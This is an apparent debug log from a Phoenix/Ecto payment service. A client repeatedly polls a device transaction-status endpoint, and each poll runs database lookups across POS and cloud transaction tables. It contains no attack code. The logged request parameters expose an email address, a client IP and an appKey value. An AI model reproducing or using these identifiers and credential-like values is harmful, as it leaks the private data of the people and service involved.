SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:32.743000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51288] QUERY OK source="pos_temp_transaction" db=1.3ms idle=1947.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:32.747000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51288] QUERY OK source="pos_failed_transaction" db=3.5ms idle=1924.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:32.748000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51288] QUERY OK source="cloud_transaction" db=0.7ms idle=954.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:32.749000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51288] Sent 200 in 24ms
[Thu Sep  3 10:01:37.653000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:35986] POST /api/device/status
[Thu Sep  3 10:01:37.653000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:35986] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:37.653000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:35986] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:37.653000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:35986] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:37.668000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:35986] QUERY OK source="pos_transaction" db=13.7ms idle=1859.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:37.669000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:35986] QUERY OK source="pos_temp_transaction" db=1.1ms idle=1873.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:37.672000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:35986] QUERY OK source="pos_failed_transaction" db=2.4ms idle=1874.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:37.673000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:35986] QUERY OK source="cloud_transaction" db=0.5ms idle=1877.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:37.673000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:35986] Sent 200 in 20ms
[Thu Sep  3 10:01:42.892000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:35996] POST /api/device/status
[Thu Sep  3 10:01:42.894000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:35996] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:42.894000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:35996] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:42.895000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:35996] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:42.914000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:35996] QUERY OK source="pos_transaction" db=17.7ms queue=0.3ms idle=1101.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:42.915000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:35996] QUERY OK source="pos_temp_transaction" db=0.7ms idle=1120.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:42.921000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:35996] QUERY OK source="pos_failed_transaction" db=4.8ms idle=1121.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:42.922000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:35996] QUERY OK source="cloud_transaction" db=0.9ms idle=1059.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:42.923000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:35996] Sent 200 in 30ms
[Thu Sep  3 10:01:47.669000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:41834] POST /api/device/status
[Thu Sep  3 10:01:47.670000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:41834] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:47.670000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:41834] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:47.670000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:41834] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:47.689000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41834] QUERY OK source="pos_transaction" db=18.7ms idle=876.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:47.691000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41834] QUERY OK source="pos_temp_transaction" db=1.2ms queue=0.1ms idle=895.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:47.695000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41834] QUERY OK source="pos_failed_transaction" db=4.2ms idle=897.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:47.696000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41834] QUERY OK source="cloud_transaction" db=0.5ms idle=901.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:01:47.697000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:41834] Sent 200 in 27ms
[Thu Sep  3 10:01:52.840000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:41846] POST /api/device/status
[Thu Sep  3 10:01:52.841000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:41846] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:01:52.841000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:41846] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:01:52.841000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:41846] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:01:52.854000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41846] QUERY OK source="pos_transaction" db=12.3ms idle=907.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:01:52.856000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41846] QUERY OK source="pos_temp_transaction" db=0.5ms idle=275.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:01:52.863000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41846] QUERY OK source="pos_failed_transaction" db=3.4ms queue=3.0ms idle=192.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:01:52.864000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41846] QUERY OK source="cloud_transaction" db=1.3ms idle=68.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
